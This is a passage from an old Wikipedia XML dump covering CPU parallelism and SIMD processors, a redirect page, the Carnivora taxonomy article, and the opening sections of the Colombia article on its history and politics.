The CMP and SMP methods of parallelism are similar to one another and the most straightforward.  These involve little more conceptually than the utilization of two or more complete and independent CPUs.  In the case of CMP, multiple processor &quot;cores&quot; are included in the same package, sometimes on the very same [[integrated circuit]]. {{ref|cmp}}  SMP, on the other hand, includes multiple independent packages.  NUMA is somewhat similar to SMP but uses a nonuniform memory access model.  This is important for computers with many CPUs because each processor's access time to memory is quickly exhausted with SMP's shared memory model, resulting in significant delays due to CPUs waiting for memory.  Therefore, NUMA is considered a much more scalable model, successfully allowing many more CPUs to be used in one computer than SMP can feasibly support. SMT differs somewhat from other TLP improvements in that it attempts to duplicate as few portions of the CPU as possible.  While considered a TLP strategy, its implementation actually more resembles superscalar design, and indeed is often used in superscalar microprocessors (such as IBM's [[POWER5]]).  Rather than duplicating the entire CPU, SMT designs only duplicate parts needed for instruction fetching, decoding, and dispatch, as well as things like general-purpose registers.  This allows an SMT CPU to keep its execution units busy more often by providing them instructions from two different software threads.  Again, this is very similar to the ILP superscalar method, but simultaneously executes instructions from ''multiple threads'' rather than executing multiple instructions from the ''same thread'' concurrently.

===Vector processors and SIMD===
[[Image:Esc05.jpg|thumb|right|250px|[[Earth Simulator]], a supercomputer based on [[NEC SX-6]] vector processors.]]
{{main articles|[[Vector processor]], [[SIMD]]}}

A less common but increasingly important paradigm of CPUs (and indeed, computing in general) deals with vectors.  The processors discussed earlier are all referred to as some type of scalar device. {{ref|scalarvector}}  As the name implies, vector processors deal with multiple pieces of data in the context of one instruction.  This contrasts with scalar processors, which deal with one piece of data for every instruction.  These two schemes of dealing with data are generally referred to as [[SISD]] (single instruction, single data) and [[SIMD]] (single instruction, multiple data), respectively.  The great utility in creating CPUs that deal with vectors of data lies in optimizing tasks that tend to require the same operation (for example, a sum or a [[dot product]]) to be performed on a large set of data.  Some classic examples of these types of tasks are [[multimedia]] applications (images, video, and sound), as well as many types of scientific and engineering tasks.  Whereas a scalar CPU must complete the entire process of fetching, decoding, and executing each instruction and value in a set of data, a vector CPU can perform a single operation on a comparatively large set of data with one instruction.  Of course, this is only possible when the application tends to require many steps which apply one operation to a large set of data.

Most early vector CPUs, such as the [[Cray-1]], were associated almost exclusively with scientific research and [[cryptography]] applications.  However, as multimedia has largely shifted to digital mediums, the need for some form of SIMD in general-purpose CPUs has become significant.  Shortly after [[Floating point unit|floating point execution unit]]s started to become commonplace to include in general-purpose processors, specifications for and implementations of SIMD execution units also began to appear for general-purpose CPUs.  Some of these early SIMD specifications like Intel's [[MMX]] were integer-only.  This proved to be a significant impediment for some software developers, since many of the applications that benefit from SIMD primarily deal with [[floating point]] numbers.  Progressively, these early designs were refined and remade into some of the common, modern SIMD specifications, which are usually associated with one ISA.  Some notable modern examples are AMD's [[x86]]-associated [[3DNow!]] and Intel's [[Streaming SIMD Extensions|SSE]] and its successors, [[SSE2]] and [[SSE3]]; the PowerPC-related [[AltiVec]] (also known as VMX); and [[MIPS architecture|MIPS]] MDMX. {{ref|mmxsse}}

==See also==
* [[CISC]]
* [[Computer bus]]
* [[Computer engineering]]
* [[CPU cooling]]
* [[CPU core voltage]]
* [[CPU design]]
* [[CPU power dissipation]]
* [[Floating point unit]]
* [[Instruction pipeline]]
* [[Instruction set]]
* [[Notable CPU architectures]]
* [[RISC]]
* [[Wait state]]

==Notes==
&lt;div style=&quot;font-size: 90%&quot;&gt;
# {{note|eniac}} While EDVAC was designed a few years before ENIAC was built, ENIAC was actually retrofitted to execute stored programs in 1948, somewhat before EDVAC was completed.  Therefore, ENIAC became a stored program computer before EDVAC was completed, even though stored program capabilities were originally omitted from ENIAC's design due to cost and schedule concerns.
# {{note|vactube}} Vacuum tubes eventually stop functioning in the course of normal operation due to the slow contamination of their cathodes that occurs when the tubes are in use.  Additionally, sometimes the tube's vacuum seal can form a leak, which accelerates the cathode contamination. See [[vacuum tube]].
# {{note|iwordlength}} Since the program counter counts ''memory addresses'' and not ''instructions,'' it is incremented by the number of memory units that the instruction word contains.  In the case of simple fixed-length instruction word ISAs, this is always the same number.  For example, a fixed-length 32-bit instruction word ISA that uses 8-bit memory words would always increment the PC by 4 (except in the case of jumps).  ISAs that use variable length instruction words, such as [[x86]], increment the PC by the number of memory words corresponding to the last instruction's length.  Also, note that in more complex CPUs, incrementing the PC does not necessarily occur at the end of instruction execution.  This is especially the case in heavily pipelined and superscalar architectures (see the relevant sections below).
# {{note|isa}} Because the instruction set architecture of a CPU is fundamental to its interface and usage, it is often used as a classification of the &quot;type&quot; of CPU.  For example, a &quot;[[PowerPC]] CPU&quot; uses some variant of the PowerPC ISA.  Some CPUs, like the Intel [[Itanium]], can actually interpret instructions for more than one ISA; however this is often accomplished by software means rather than by designing the hardware to directly support both interfaces. (See [[emulator]])
# {{note|jumps}} Some early computers like the [[Harvard Mark I]] did not support any kind of &quot;jump&quot; instruction, effectively limiting the complexity of the programs they could run.  It is largely for this reason that these computers are often not considered to contain a CPU proper, despite their close similarity as stored program computers.
# {{note|riscpipeline}} This description is, in fact, a simplified view even of the [[Classic RISC pipeline]].  It largely ignores the important role of [[CPU cache]], and therefore the '''access''' stage of the pipeline.  See the respective articles for more details.
# {{note|binaryvoltage}} The physical concept of [[voltage]] is an analog one by its nature, practically having an infinite range of possible values.  For the purpose of physical representation of binary numbers, set ranges of voltages are defined as one or zero.  These ranges are usually influenced by the operational parameters of the switching elements used to create the CPU, such as a [[transistor]]'s threshold level.
# {{note|softwareints}} While a CPU's integer precision sets a limit on integer ranges, this can (and often is) overcome using a combination of software and hardware techniques.  By using additional memory, software can represent integers many magnitudes larger than the CPU can.  Sometimes the CPU's ISA will even facilitate operations on integers larger that it can natively represent by providing instructions to make large integer arithmetic relatively quick.  While this method of dealing with large integers is somewhat slower than utilizing a CPU with higher integer precision, it is a reasonable trade-off in cases where natively supporting the full integer precision needed would be cost-prohibitive.  See [[Arbitrary-precision arithmetic]] for more details on purely software-supported arbitrary-sized integers.
# {{note|seqlogic}} In fact, all synchronous CPUs use a combination of [[sequential logic]] and [[combinatorial logic]].  (See [[boolean logic]])
# {{note|clockgating}} One notable late CPU design that uses clock gating is that of the IBM [[PowerPC]]-based [[Xbox 360]].  It utilizes extensive clock gating in order to reduce the power requirements of the aforementioned videogame console it is used in. {{Ref harvard|Brown2005|Brown 2005|a}}
# {{note|parallelperformance}} It should be noted that neither [[Instruction level parallelism|ILP]] nor [[Thread level parallelism|TLP]] is inherently superior over the other; they are simply different means by which to increase CPU parallelism.  As such, they both have advantages and disadvantages, which are often determined by the type of software that the processor is intended to run.  High-TLP CPUs are often used in applications that lend themselves well to being split up into numerous smaller applications, so-called &quot;[[embarrassingly parallel]] problems.&quot;  Frequently, a computational problem that can be solved quickly with high TLP design strategies like SMP take significantly more time on high ILP devices like superscalar CPUs, and vice versa.
# {{note|ipcrate}} Best-case scenario (or peak) IPC rates in very superscalar artchitectures are difficult to maintain since it is impossible to keep the instruction pipeline filled all the time.  Therefore, in highly superscalar CPUs, average sustained IPC is often discussed rather than peak IPC.
# {{note|singlechiptlp}} Even though SMP and NUMA are both referred to as &quot;systems level&quot; TLP strategies, both methods must still be supported by the CPU's design and implementation.
# {{note|cmp}} While TLP methods have generally been in use longer than ILP methods, Chip-level multiprocessing is more or less only seen in later [[Integrated circuit|IC]]-based microprocessors.  This is largely because the term itself is inapplicable to earlier discrete component devices and has only come into use recently.&lt;br/&gt;For several years during the late 1990s and early 2000s, the focus in designing high performance general purpose CPUs was largely on highly superscalar IPC designs, such as the Intel [[Pentium 4]].  However, this trend seems to be reversing somewhat now as major general-purpose CPU designers switch back to less deeply pipelined high-TLP designs.  This is evidenced by the proliferation of dual and multi core CMP designs and notably, Intel's newer designs resembling its less superscalar [[P6]] architecture.  Late designs in several processor families exhibit CMP, including the [[x86-64]] [[Opteron]] and [[Athlon 64 X2]], the [[SPARC]] [[UltraSPARC T1]], IBM [[POWER4]] and [[POWER5]], as well as several [[video game console]] CPUs like the [[Xbox 360]]'s triple-core PowerPC design.
# {{note|scalarvector}} Earlier the term '''scalar''' was used to compare the IPC (instructions per cycle) count afforded by various ILP methods.  Here the term is used in the strictly mathematical sense to contrast with vectors.  See [[scalar]] and [[vector (spatial)]].
# {{note|mmxsse}} Although SSE/SSE2/SSE3 have superseded MMX in Intel's general purpose CPUs, later [[IA-32]] designs still support MMX.  This is usually accomplished by providing most of the MMX functionality with the same hardware that supports the much more expansive SSE instruction sets.
&lt;/div&gt;

==References==
&lt;div style=&quot;font-size: 90%&quot;&gt;
* {{note label|Amdahl1964|Amdahl et al. 1964|a}} {{note label|Amdahl1964|Amdahl et al. 1964|b}} {{Citepaper publisher
 | Author = Amdahl, G. M., Blaauw, G. A., &amp; Brooks, F. P. Jr.
 | Title = Architecture of the IBM System/360
 | Publisher = IBM Research
 | PublishYear = 1964
 | URL = http://www.research.ibm.com/journal/rd/441/amdahl.pdf
 }}
* {{note label|Brown2005|Brown 2005|a}} {{cite web
 | last = Brown | first = Jeffery
 | title = Application-customized CPU design
 | publisher = IBM developerWorks
 | url = http://www-128.ibm.com/developerworks/power/library/pa-fpfxbox/?ca=dgr-lnxw07XBoxDesign
 | year = 2005
 | accessdate = 2005-12-17
 }}
* {{note label|dec1975|Digital Equipment Corporation 1975|a}} {{cite book
 | author = [[Digital Equipment Corporation]]
 | year = 1975
 | month = November
 | title = LSI-11, PDP-11/03 user's manual
 | chapter = LSI-11 Module Descriptions
 | edition = 2nd edition
 | pages = 4-3
 | publisher = Digital Equipment Corporation
 | location = Maynard, Massachusetts
 | url = http://www.classiccmp.org/bitsavers/pdf/dec/pdp11/1103/EK-LSI11-TM-002.pdf
 }}
* {{note label|Garside1999|Garside et al. 1999|a}} {{Citepaper publisher
 | Author = Garside, J. D., Furber, S. B., &amp; Chung, S-H
 | Title = AMULET3 Revealed
 | Publisher = [[University of Manchester]] Computer Science Department
 | PublishYear = 1999
 | URL = http://www.cs.manchester.ac.uk/apt/publications/papers/async99_A3.php
 }}
* &lt;!-- {{note label|HennessyGoldberg1996|Hennessy &amp; Goldberg 1996|a}} --&gt; {{cite book
 | last = Hennessy | first = John A. 
 | coauthors = Goldberg, David
 | title = Computer Architecture: A Quantitative Approach
 | publisher = Morgan Kaufmann Publishers
 | year = 1996
 | id = ISBN 1-55-860329-8
 }}
* {{note label|MIPSTech2005|MIPS Technologies 2005|a}} {{Citepaper publisher
 | Author = MIPS Technologies, Inc.
 | Title = MIPS32® Architecture For Programmers Volume II: The MIPS32® Instruction Set
 | Publisher = [[MIPS Technologies]], Inc.
 | PublishYear = 2005
 | URL = http://www.mips.com/content/Documentation/MIPSDocumentation/ProcessorArchitecture/doclibrary
 }}
* {{note label|Smotherman2005|Smotherman 2005|a}} {{cite web
 | last = Smotherman | first = Mark
 | year = 2005
 | url = http://www.cs.clemson.edu/~mark/multithreading.html
 | title = History of Multithreading
 | accessdate = 2005-12-19
 }}
* {{note label|vonNeumann1945|von Neumann 1945|a}} {{Citepaper publisher
 | Author = [[John von Neumann | von Neumann, John]]
 | Title = First Draft of a Report on the EDVAC
 | Publisher = Moore School of Electrical Engineering, [[University of Pennsylvania]]
 | URL = http://www.virtualtravelog.net/entries/2003-08-TheFirstDraft.pdf
 | PublishYear = 1945
 }}
* {{note label|weik1961|Weik 1961|a}} {{note label|weik1961|Weik 1961|b}} {{Citepaper publisher
 | Author = Weik, Martin H.
 | Title = A Third Survey of Domestic Electronic Digital Computing Systems
 | Publisher = [[Ballistics Research Laboratory | Ballistic Research Laboratories]]
 | URL = http://ed-thelen.org/comp-hist/BRL61.html
 | PublishYear = 1961
 }}
&lt;/div&gt;

==External links==
;Microprocessor designers
*[http://www.amd.com/ Advanced Micro Devices] - [[Advanced Micro Devices]], a designer of primarily [[x86]]-compatible desktop oriented CPUs.
*[http://www.arm.com/ ARM Ltd] - [[ARM Ltd]], one of the few CPU designers that profits solely by licensing their designs rather than manufacturing them.  [[ARM architecture]] microprocessors are among the most popular in the world for embedded applications.
*[http://www.freescale.com/ Freescale Semiconductor] (formerly of [[Motorola]]) - [[Freescale Semiconductor]], designer of several embedded and [[System-on-a-chip|SoC]] PowerPC based processors.
*[http://www-03.ibm.com/chips/ IBM Microelectronics] - Microelectronics division of [[IBM]], which is responsible for many [[IBM POWER|POWER]] and [[PowerPC]] based designs, including many of the CPUs utilized in late [[video game console]]s.
*[http://www.intel.com/ Intel Corp] - [[Intel]], a maker of several notable CPU lines, including [[IA-32]], [[IA-64]], and [[XScale]].  Also a producer of various peripheral chips for use with their CPUs.
*[http://www.mips.com/ MIPS Technologies] - [[MIPS Technologies]], developers of the [[MIPS architecture]], a pioneer in [[RISC]] designs.
*[http://www.sun.com/ Sun Microsystems] - [[Sun Microsystems]], developers of the [[SPARC]] architecture, a RISC design.
*[http://www.ti.com/home_p_allsc Texas Instruments] - [[Texas Instruments]] semiconductor division.  Designs and manufactures several types of low power microcontrollers among their many other semiconductor products.
*[http://www.transmeta.com/ Transmeta] - [[Transmeta]] Corporation. Creators of low-power x86 compatibles like [[Crusoe]] and [[Efficeon]].

;Further reading
*[http://www.gamezero.com/team-0/articles/math_magic/micro/index.html Processor Design: An Introduction] - Detailed introduction to microprocessor design.  Somewhat incomplete and outdated, but still worthwhile.
*[http://computer.howstuffworks.com/microprocessor.htm How Microprocessors Work]
*[http://arstechnica.com/articles/paedia/cpu/pipelining-2.ars/2 Pipelining: An Overview] - Good introduction to and overview of CPU pipelining techniques by the staff of [[Ars Technica]]
*[http://arstechnica.com/articles/paedia/cpu/simd.ars/ SIMD Architectures] - Introduction to and explanation of SIMD, especially how it relates to desktop computers. Also by [[Ars Technica]]

[[Category:Digital electronics]]
[[Category:Computer hardware]]

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    </revision>
  </page>
  <page>
    <title>Complex numbers</title>
    <id>5220</id>
    <revision>
      <id>15903444</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Complex_number]]
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  </page>
  <page>
    <title>Carnivora</title>
    <id>5221</id>
    <revision>
      <id>40008321</id>
      <timestamp>2006-02-17T13:26:10Z</timestamp>
      <contributor>
        <username>Botteville</username>
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      </contributor>
      <comment>/* Phylogeny */ clarified position of fossils as presented under Miacidae</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Carnivora
| image = Lion snarling.jpg
| image_width = 200px
| image_caption = [[Lion]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = '''Carnivora'''
| ordo_authority = [[Thomas Edward Bowdich|Bowdich]], 1821
| subdivision_ranks = [[Family (biology)|Families]]
| subdivision = 
[[Ailuridae]]&lt;br /&gt;
[[Amphicyonid|Amphicyonidae]] †&lt;br /&gt;
[[Canidae]]&lt;br /&gt;
[[Felidae]]&lt;br /&gt;
[[Herpestidae]]&lt;br /&gt;
[[Hyaenidae]]&lt;br /&gt;
[[Mephitidae]]&lt;br /&gt;
[[Miacidae]] †&lt;br /&gt;
[[Mustelidae]]&lt;br /&gt;
[[Nandiniidae]]&lt;br /&gt;
[[Nimravidae]] †&lt;br /&gt;
[[Odobenidae]]&lt;br /&gt;
[[Otariidae]]&lt;br /&gt;
[[Phocidae]]&lt;br /&gt;
[[Procyonidae]]&lt;br /&gt;
[[Ursidae]]&lt;br /&gt;
[[Viverravidae]] †&lt;br /&gt;
[[Viverridae]]
}}
The diverse [[Order (biology)|order]] '''Carnivora'''  (car-niv' o-ra)(L. ''caro,'' flesh, + ''vorare,'' to devour) includes over 260 placental [[mammal]]s. While the [[Giant Panda]] is an [[herbivore]], nearly all others eat meat as their primary diet item: some (like the [[Felidae|cat family]]) almost exclusively, others (like the bears and foxes) are more omnivorous. Members of Carnivora have a characteristic skull shape, and their [[dentition]] includes prominent canines and carnassials.

==Phylogeny== 

Older classification schemes divided the order into two suborders, [[Fissipedia]], which included the families of primarily land carnivores, and suborder [[Pinnipedia]], which included the [[true seal]]s, [[eared seal]]s, and [[walrus]].

Newer classification schemes have been able to integrate the findings from molecular techniques for discovering genetic relationships. They generally divide the Carnivora into the suborders Feliformia (cat-like) and Caniformia (dog-like), which includes the [[pinniped]]s. The pinnipeds form a [[clade]] with the [[Ursidae|bear]]s to form the '''Arctoidea''' superfamily. The arctoids form a clade that includes another superfamily, containing the [[Mustelidae|mustelid]]s, [[Procyonidae|procyonid]]s, [[Mephitidae|skunk]]s and [[Ailurus]] - the '''Musteloidea'''. The [[Canidae|dog]]s form an outgroup to these two superfamilies, they were the first of the extant Caniforms to split from the others. 

The same studies finally resolve the exact position of ''Ailurus'' :  the Red Panda is not a Procyonid nor an Ursid, but forms a monotypic family with the Musteloids as closest living relatives. The same study also shows that the Mustelids are not a primitive family, as was once thought. Their small bodysize is a secondairy trait - the primitive bodyform of the Arctoids was large, not small. 

Recent molecular studies suggest that the endemic '''Carnivora''' of [[Madagascar]], including three genera classed with the [[Viverridae|civet]]s and four genera of [[mongoose]]s classed with the Herpestidae, are all descended from a single ancestor. They form a single sister [[taxon]] to the Herpestidae. The  [[hyena]]s are also closely related to this clade. 

The exact position of the [[Felidae|cat]]s in relation to the other families is somewhat disputed. [[Nandinia]] seems to be the most primitive of all the Feliforms and the very first to split from the others. The genus [[Prionodon]] (of the Viverrids) might form a family of its own as well, as some studies show they are the closest living relatives to the cats.

The position of extinct carnivore families is not clear. Recent studies suggest that the ancient families [[Miacidae]] and [[Viverravidae]] are not basal members of the Caniformia and Feliformia, so they are not the direct ancestors of any living carnivore family. The Miacidae is not even [[monophyletic]], rather it appears to represent a paraphyletic array of stem taxa. However, the Miacidae and the Viverravidae are classified as a third, extinct superfamily, the [[Miacidae|Miacoidea]], from which the direct ancestors of the other two superfamilies did come.

The [[Nimravidae]] are seen as the most basal of all Feliforms, and the first to split from the others. Other studies, however, show that the Nimravids and Felids are closely related. The position of many extinct 'Felids' is not clear - they may or may not be true cats after all. The [[Amphicyonid]]s are the first of the Caniforms to split off - they do not have the Ursids as closest relatives (as most scientists thought), bur are rather an outgroup to all other Caniforms. 

The results of the same study further suggest a much younger minimum age for the crown-clade  Carnivora (the divergence age of the subclades Caniformia and Feliformia) than had been inferred in many previous studies: middle-[[Eocene]] (ca. 43 million years ago), rather than early [[Paleocene]] (60 Ma). It remains unknown if the [[Creodonta]] are the closest relatives of the Carnivora, but it seems they are. They are united with the [[Pholidota]] and some extinct orders in the clade [[Ferae]].

==Classification==

* '''Order Carnivora'''
** '''Suborder Feliformia''' (&quot;Cat-like&quot;)
*** Family [[Felidae]]: cats; 37 species in 18 genera
*** Family [[Herpestidae]]: [[mongoose]]s and allies; 35 species in 17 genera
*** Family [[Hyaenidae]]: [[hyena]]s and [[aardwolf]]; 4 species in 4 genera
*** Family [[Nandiniidae]]: [[African palm civet]]s; 1 species in 1 genus
*** Family [[Nimravidae]]: false sabre-tooths ([[extinct]])
*** Family [[Viverridae]]: [[civet]]s and allies; 35 species in 20 genera
** '''Suborder Caniformia''' (&quot;Dog-like&quot;)
*** Family [[Ailuridae]]: [[red panda]]; 1 species in 1 genus.
*** Family [[Amphicyonid]]ae: beardogs ([[extinct]])
*** Family [[Canidae]]: [[dog]]s and allies; 35 species in 10 genera
*** Family [[Mephitidae]]: [[skunk]]s and stinkbadgers; 10 species in 3 genera
*** Family [[Mustelidae]]: [[weasel]]s, [[marten]]s, [[badger]]s, and [[otter]]s; 55 species in 24 genera
*** Family [[Odobenidae]]: [[Walrus]]es; 1 species in 1 genus
*** Family [[Otariidae]]: [[sea lion]]s, [[eared seal]]s, [[fur seal]]s; 14 species in 7 genera
*** Family [[Phocidae]]: [[true seal]]s; 19 species in 9 genera
*** Family [[Procyonidae]]: [[raccoon]]s and allies; 19 species in 6 genera
*** Family [[Ursidae]]: [[bear]]s; 8 species in 4 genera

==See also==
*[[Cat-fox]] - new carnivore discovered on [[Borneo]]

==References==
*[http://home.uchicago.edu/~johnf/pdf/Flynn_etal_2005.pdf Flynn et al: Molecular Phylogeny of Carnivora]
*[http://journals.cambridge.org/action/displayFulltext?type=1&amp;fid=285903&amp;jid=SYP&amp;volumeId=3&amp;issueId=01&amp;aid=285902 Wesley-Hunt: Phylogeny of the Carnivores]

{{wikispecies|Carnivora}}
{{Wikibookspar|Dichotomous Key|Carnivora}}
{{Mammals}}

[[Category:Carnivores| ]]

[[bg:Хищници]]
[[cs:&amp;#352;elmy]]
[[cy:Carnivora]]
[[da:Rovdyr (Carnivora)]]
[[de:Raubtiere]]
[[et:Kiskjalised]]
[[eo:Karnovoro]]
[[fr:Carnivora]]
[[he:טורפים (סדרת יונקים)]]
[[it:Carnivori]]
[[ja:&amp;#12493;&amp;#12467;&amp;#30446;]]
[[ko:&amp;#49885;&amp;#50977;&amp;#47785;]]
[[la:Carnivora]]
[[li:Carnivore (orde)]]
[[nl:Carnivora]]
[[pt:Carnivora]]
[[sk:Mäsoravce (cicavce)]]
[[fi:Petoeläimet]]
[[sv:Rovdjur]]
[[ru:Хищные]]
[[vi:Carnicova]]
[[zh:&amp;#39135;&amp;#32905;&amp;#30446;]]</text>
    </revision>
  </page>
  <page>
    <title>Colombia</title>
    <id>5222</id>
    <revision>
      <id>41928298</id>
      <timestamp>2006-03-02T18:06:15Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>English measurements per [[WP:MOSNUM]] and formating</comment>
      <text xml:space="preserve">{{Infobox_Country
|native_name = '''República de Colombia'''
|common_name = Colombia
|image_flag = Flag of Colombia.svg
|image_coat = Colombia's Coat of Arms.JPG
|image_map = LocationColombia.png
|national_motto = Libertad y Orden&lt;br&gt;([[English language|English]]: Liberty and Order)
|national_anthem = [[Oh Gloria Inmarcesible!]]
|official_languages = [[Spanish language|Spanish]]
|capital = [[Bogotá]]
|latd= |latm= |latNS= |longd= |longm= |longEW=
|largest_city = 
|government_type = Republic
|leader_titles = [[List of Presidents of Colombia|President]]
|leader_names = [[Álvaro Uribe Vélez]]
|area_rank = 25th
|area_magnitude = 1 E10
|area= 1,138,910 
|areami² = 439,736 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 8.8%
|population_estimate =  42,954,279 &lt;!-- cia.gov --&gt;
|population_estimate_rank = 30th &lt;!-- cia.gov --&gt;
|population_estimate_year = July 2005 &lt;!-- cia.gov --&gt;
|population_census = 44,531,434
|population_census_year = 2003
|population_density =36
|population_densitymi² = 93 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 134th
|GDP_PPP = $315,548 million
|GDP_PPP_rank = 28th
|GDP_PPP_year= 2004 &lt;!--IMF --&gt;
|GDP_PPP_per_capita = $6,962
|GDP_PPP_per_capita_rank = 88th
|sovereignty_type = [[Independence]]
|established_events = From [[Spain]]
|established_dates = &amp;nbsp;- Declared:&lt;br&gt;&amp;nbsp;&amp;nbsp;[[July 20]], [[1810]]&lt;br&gt;&amp;nbsp;- Recognised:&lt;br&gt;&amp;nbsp;&amp;nbsp;[[August 7]], [[1819]]
|HDI = 0.785
|HDI_rank = 69th
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|currency = [[Colombian peso|Peso]]
|currency_code = COP
|country_code = 
|time_zone = 
|utc_offset = -5
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.co]]
|calling_code = 57
|footnotes = 
}}
{{portal}}
The '''Republic of Colombia''' ([[Spanish language|Spanish]]: {{audio|República de Colombia.ogg|''República de Colombia''}}, [[International Phonetic Alphabet|IPA]] {{IPA|[re'puβ̞lika ð̞e ko'lombja]}}) is a country in northwestern [[South America]]. It is bordered to the east by [[Venezuela]] and [[Brazil]], to the south by [[Ecuador]] and [[Peru]], and to the west by [[Panama]] and the [[Pacific Ocean]].

== History ==
:''Main article:'' [[history of Colombia]]
Around [[1450 BC]] there was cultural activity near Bogotá, in &quot;El Abra&quot;. In [[1000 BC]], groups of Amerindians developed the political system of &quot;cacicazgos&quot; (answering to a figure known as the [[Cacique]]) with a pyramidal structure of power, especially in the cases of the [[Muisca]] or [[Chibcha]] people. They have been considered to have one of the most developed political systems in South America, after the [[Incas]]. [[Spain|Spanish]] explorers made the first exploration of the [[Caribbean]] littoral in [[1500]] led by Rodrigo de Bastidas. [[Christopher Columbus]] navigated near the Caribbean or western coast of [[Chocó Department|Choco]] in [[1502]]. In [[1508]] [[Vasco Nuñez de Balboa]] started the conquest of the territory through the region of [[Urabá]]. In 1513, he also discovered the [[Pacific Ocean]] which he called &quot;The Sea of the South&quot; and which in fact would bring the Spaniards to [[Peru]] and [[Chile]]. In [[1525]], the first European city in the [[Americas|American Continent]] was founded, Santa María la Antigua del Darién in what is today the [[Chocó|Chocó Department]]. The territory's main population was made up of hundreds of tribes of the [[Chibchan]] and &quot;Karib&quot;, currently known as the [[Caribbean]] people, whom the Spaniards conquered through warfare, while resulting disease, exploitation, and the conquest itself caused a tremendous demographic reduction among the indigenous. In the [[16th century]], Europeans began to bring slaves from Africa. 

Since the beginning of the periods of Conquest and Colonization, there were several rebel movements under Spanish rule, most of them either being crushed or remaining too weak to change the overall situation. The last one, which sought outright independence from Spain, sprang up around [[1810]]. Eventually being led by [[Simón Bolívar]] and [[Francisco de Paula Santander]], the rebellion finally succeeded in [[1819]], when the territory of the Viceroyalty of New Granada became the [[Republic of Gran Colombia]], as a Confederation with [[Ecuador]] and [[Venezuela]]. Modern day [[Panama]], which subsequently remained a Colombian department until [[1903]]- when it became independent, was also included in this union

Internal political and territorial divisions led to the secession of [[Venezuela]] and [[Quito]] (today's [[Ecuador]]) in [[1830]]. At this time, the so-called &quot;Department of [[Cundinamarca]]&quot; adopted then the name &quot;[[Nueva Granada]]&quot;, which it kept until [[1856]] when it became the &quot;Confederación Granadina&quot; (Grenadine Confederation). In [[1863]] the &quot;United States of Colombia&quot; was created, lasting until [[1886]], when the country finally became known as the Republic of Colombia. Internal divisions remained, occasionally igniting very bloody [[civil war]]s and, eventually, contributing to setting the stage for the [[United States|U.S.]]-sponsored secession of [[Panama]] in [[1903]]. Afterwards, the country achieved a relative degree of political stability, which was interrupted by a bloody conflict which took place between the late [[1940s]] and the early [[1950s]], known as ''[[La Violencia]]'' (&quot;The Violence&quot;). Its cause was mainly due to mounting tensions between partisan groups, reignited by the murder of [[Jorge Eliécer Gaitán]], and it claimed the lives of at least 180,000 to more than 200,000 Colombians. 

To replace the previous [[1886]] document, a new constitution was made in [[1991]], after being drafted by the [[Constituent Assembly of Colombia]]. The constitution included key provisions on political, ethnic, human and gender rights, which have been gradually put in practice, though  uneven developments, surrounding controversies, and setbacks have persisted.

In recent decades the country has been plagued by the effects of the influential [[Illegal drug trade|drug trade]] and by [[guerrilla warfare|guerrilla]] [[insurgent]]s such as the ''Fuerzas Armadas Revolucionarias de Colombia'' (Revolutionary Armed Forces of Colombia), or [[Revolutionary Armed Forces of Colombia|FARC]], and illegal [[counter-insurgency]] [[paramilitary]] groups such as the ''Autodefensas Unidas de Colombia'' (United Self-Defense Forces of Colombia), or [[Autodefensas Unidas de Colombia|AUC]], which along with other minor factions have been engaged in a bloody internal [[Colombian Armed Conflict|armed conflict]]. The different irregular groups often resort to [[kidnapping]] and [[drug smuggling]] to fund their causes, tend to operate in large areas of the remote rural countryside and can sometimes disrupt communications and travel between different regions. Since the early [[1980s]], attempts at reaching a negotiated settlement between the government and the different rebel groups have been made, either failing or achieving only the partial demobilization of some of the parties involved. One of the last such attempts was made during the administration of President [[Andrés Pastrana Arango]], which negotiated with the FARC between [[1998]] and [[2002]].

In the late [[1990s]], President Andrés Pastrana implemented an initiative named [[Plan Colombia]], with the dual goal of ending the armed conflict and promoting a strong [[narcotic|anti-narcotic]] strategy. The most controversial element of the Plan, which also included a smaller number of funds for institutional and alternative development, was considered to be its anti-narcotic strategy, consisting on an increase in aerial [[fumigation]]s to eradicate [[coca]]. This activity came under fire from several sectors, which claimed that fumigation also damages legal crops and has adverse health effects upon population exposed to the [[herbicides]]. Critics of the initiative also claim that the plan represents a [[military]] approach to problems that have additional roots in the social inequalities of the country. 

During the presidency of [[Alvaro Uribe]], who was elected on the promise to apply military pressure on the FARC and other criminal groups, some security [[indicators]] have improved, showing a decrease in reported [[kidnappings]] (from 3700 in the year [[2000]] to 1441 in [[2004]]) and a decrease of more than 48% in homicides between [[July 2002]] and [[May 2005]]. It is argued that these improvements have favored economic growth.

Analysts and critics inside Colombia agree that there has been a degree of practical improvement in several of the mentioned fields, but the exact reasons for the figures themselves have sometimes been disputed, as well as their specific accuracy. Some [[opposition]] sectors have criticized the government's security strategy, claiming that it is not enough to solve Colombia's complex problems and that it has contributed to creating a favorable [[environment]] for the continuation of some [[human rights abuses]].

== Politics ==
:''Main article:'' [[Politics of Colombia]]

Colombia is a republic where the executive branch dominates government structure. Up until recently, the president was elected together with the vice-president by popular vote for a single four-year term, which functioned as both [[head of government]] and [[head of state]]. However, on October 19, 2005 the Colombian Congress amended the constitution, which now allows Colombian presidents to serve up to two consecutive four-year terms. &lt;!-- Image with unknown copyright status removed: [[Image:Nariño's House.jpg|thumb|right|175px|Nariño's House]] --&gt;

Colombia's bicameral parliament is the Congress of Colombia or ''Congreso'', which consists of the 166-seat House of Representatives of Colombia and the 102-seat Senate of Colombia. Members of both houses are elected by popular vote to serve four-year terms. Colombia is also a member of the [[South American Community of Nations]].

In the [[1990s]], the Colombian judicial system underwent significant reforms and is undergoing a process of migration from an [[inquisitorial]] system to an [[adversarial system]]. Parts of the coffee growing region of Colombia and Bogotá have already adopted the adversarial system, with the rest of the country following suit starting on [[January 1]], [[2006]].

== Geography ==
:''Main article:'' [[Geography of Colombia]]

